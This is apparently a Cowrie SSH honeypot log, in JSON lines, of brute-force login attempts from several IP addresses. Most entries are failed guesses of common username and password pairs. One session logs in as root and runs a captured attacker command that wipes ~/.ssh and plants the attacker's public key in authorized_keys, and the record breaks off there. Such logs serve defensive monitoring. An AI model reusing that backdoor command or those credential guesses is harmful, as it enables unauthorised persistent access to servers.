{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:23:02.099862Z","src_ip":"212.11.64.156","session":"2521d7f42f5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"squid","password":"1234","message":"login attempt [squid/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:23:02.496810Z","src_ip":"212.11.64.156","session":"2521d7f42f5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:23:03.591438Z","src_ip":"212.11.64.156","session":"2521d7f42f5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.11.64.156","src_port":35186,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce515e49827e","protocol":"ssh","message":"New connection: 212.11.64.156:35186 (159.203.135.109:22) [session: ce515e49827e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:24:41.120900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:24:41.124714Z","src_ip":"212.11.64.156","session":"ce515e49827e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:24:41.234648Z","src_ip":"212.11.64.156","session":"ce515e49827e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cisco","password":"ciscopassword","message":"login attempt [cisco/ciscopassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:24:41.706054Z","src_ip":"212.11.64.156","session":"ce515e49827e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:24:42.820000Z","src_ip":"212.11.64.156","session":"ce515e49827e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.11.64.156","src_port":38180,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4ced4914057","protocol":"ssh","message":"New connection: 212.11.64.156:38180 (159.203.135.109:22) [session: a4ced4914057]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:26:22.758691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:26:22.763200Z","src_ip":"212.11.64.156","session":"a4ced4914057","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:26:22.872933Z","src_ip":"212.11.64.156","session":"a4ced4914057","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rich","password":"rich@123456","message":"login attempt [rich/rich@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:26:23.345711Z","src_ip":"212.11.64.156","session":"a4ced4914057","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:26:24.457651Z","src_ip":"212.11.64.156","session":"a4ced4914057","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.127.249","src_port":54840,"dst_ip":"159.203.135.109","dst_port":22,"session":"fbf84b30fb01","protocol":"ssh","message":"New connection: 45.79.127.249:54840 (159.203.135.109:22) [session: fbf84b30fb01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:26:25.413815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:26:25.417913Z","src_ip":"45.79.127.249","session":"fbf84b30fb01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:26:25.600626Z","src_ip":"45.79.127.249","session":"fbf84b30fb01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pair","password":"pair2018!","message":"login attempt [pair/pair2018!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:26:25.968726Z","src_ip":"45.79.127.249","session":"fbf84b30fb01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:26:27.154172Z","src_ip":"45.79.127.249","session":"fbf84b30fb01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.81.72.185","src_port":40140,"dst_ip":"159.203.135.109","dst_port":22,"session":"97a0bd5b4631","protocol":"ssh","message":"New connection: 34.81.72.185:40140 (159.203.135.109:22) [session: 97a0bd5b4631]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:26:38.751436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:26:38.755519Z","src_ip":"34.81.72.185","session":"97a0bd5b4631","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:26:38.947198Z","src_ip":"34.81.72.185","session":"97a0bd5b4631","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"retag","password":"retag@123456","message":"login attempt [retag/retag@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:26:39.740876Z","src_ip":"34.81.72.185","session":"97a0bd5b4631","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:26:40.934929Z","src_ip":"34.81.72.185","session":"97a0bd5b4631","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.249.165","src_port":38922,"dst_ip":"159.203.135.109","dst_port":22,"session":"4fbe3b2472de","protocol":"ssh","message":"New connection: 131.161.249.165:38922 (159.203.135.109:22) [session: 4fbe3b2472de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:27:58.831975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:27:58.837048Z","src_ip":"131.161.249.165","session":"4fbe3b2472de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:27:58.961473Z","src_ip":"131.161.249.165","session":"4fbe3b2472de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eversec","password":"eversec@123","message":"login attempt [eversec/eversec@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:27:59.492376Z","src_ip":"131.161.249.165","session":"4fbe3b2472de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:28:00.619430Z","src_ip":"131.161.249.165","session":"4fbe3b2472de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.11.64.156","src_port":48482,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e139bb480b1","protocol":"ssh","message":"New connection: 212.11.64.156:48482 (159.203.135.109:22) [session: 8e139bb480b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:28:08.324126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:28:08.329103Z","src_ip":"212.11.64.156","session":"8e139bb480b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:28:08.439359Z","src_ip":"212.11.64.156","session":"8e139bb480b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ari","password":"password","message":"login attempt [ari/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:28:08.911052Z","src_ip":"212.11.64.156","session":"8e139bb480b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:28:10.023304Z","src_ip":"212.11.64.156","session":"8e139bb480b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.212.22","src_port":36430,"dst_ip":"159.203.135.109","dst_port":22,"session":"84f78ead7d04","protocol":"ssh","message":"New connection: 43.133.212.22:36430 (159.203.135.109:22) [session: 84f78ead7d04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:31.709696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:31.715267Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:31.893176Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Aa!123456","message":"login attempt [root/Aa!123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:32.639386Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:33.476688Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:33.480191Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:33.484209Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:33.668976Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:29:34.058298Z","src_ip":"43.133.212.22","session":"84f78ead7d04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa 